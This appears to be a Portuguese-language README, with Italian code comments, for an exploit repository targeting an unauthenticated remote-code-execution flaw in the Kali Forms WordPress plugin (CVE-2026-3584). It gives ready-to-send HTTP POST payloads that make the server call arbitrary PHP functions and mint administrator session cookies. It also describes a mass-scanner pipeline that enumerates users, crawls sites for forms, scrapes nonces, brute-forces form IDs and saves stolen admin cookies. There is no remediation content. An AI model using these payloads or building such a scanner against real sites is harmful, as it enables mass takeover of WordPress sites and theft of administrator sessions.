yucaerin/cve-2026-3584CVE-2026-3584
ðŸ"¥ Resumo da Vulnerabilidade
O plugin WordPress Kali Forms nas versões <= 2.4.9 apresenta uma vulnerabilidade crítica de execução remota de código não autenticado (RCE). Essa falha permite que atacantes não autenticados executem código PHP arbitrário no servidor e obtenham privilégios de administrador completo por meio do endpoint AJAX kaliforms_form_process exposto publicamente sem controles de autorização.
A vulnerabilidade reside na função form_process, que aceita parâmetros controlados pelo usuário (incluindo thisPermalink e entryCounter) e executa callbacks PHP arbitrários, levando a:
phpinfo(), system(), eval(), etc.wp_set_auth_cookie() para obter sessões administrativasA vulnerabilidade se manifesta na função form_process do plugin Kali Forms, que gerencia as requisições AJAX. O código vulnerável é exposto por meio de:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
Fluxo do Exploit:
Endpoint Não Protegido: O endpoint /wp-admin/admin-ajax.php?action=kaliforms_form_process é acessível a usuários não autenticados por meio do hook wp_ajax_nopriv_.
Parâmetros Controláveis pelo Usuário:
data[thisPermalink] - pode conter nome de função PHP arbitráriadata[entryCounter] - pode conter nome de função PHP arbitráriadata[formId] - ID do formulário a ser processadoExecução de Callbacks Não Filtrados: O código vulnerável executa callbacks PHP sem validação:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
Exploit Chain:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
Exemplo de Requisição Vulnerável:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
Resultado: O servidor executa phpinfo() e retorna informações completas sobre a configuração do PHP.
Para Escalação de Privilégios:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
Resultado: O WordPress executa wp_set_auth_cookie(user_id) onde user_id corresponde frequentemente a formId, gerando cookies de sessão administrativa válidos.
O mass_scanner.py implementa um pipeline automatizado em 4 fases para a exploração completa da vulnerabilidade CVE-2026-3584:
┌──────────────────────────────────────────────────────────────────â”
│ MASS SCANNER PIPELINE │
├──────────────────────────────────────────────────────────────────┤
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└───────────────────────────────────────────────────────────────────┘
1. Normalização Automática de URL
def normalize_url(self, target):
# Aggiunge automaticamente http:// o https://
# Prova prima HTTPS, poi fallback su HTTP
# Gestisce porte personalizzate (es. :8080)
2. Enumeração da API REST
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Estrae tutti gli user_id disponibili
# Usato per mappare formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Estrae tutti i post_id disponibili
# Identifica sovrapposizioni user_id/post_id
3. Descoberta de Formulários (Crawling Inteligente)
def discover_pages(self, target, max_depth=2):
# Crawl ricorsivo del sito
# Cerca pattern JavaScript: 'KaliFormsObject'
# Filtra URL non necessari (js, css, immagini)
# Segue solo link interni
# Ritorna lista pagine con Kali Forms
4. Extração de Dados do Formulário
def extract_form_data(self, page_url):
# Estrae nonce da JavaScript:
# KaliFormsObject = { ajax_nonce: "abc123" }
# Estrae formId da HTML:
# data-id="1" o [kaliform id="1"]
# Se nonce trovato ma no formId:
# Brute force ID 1-10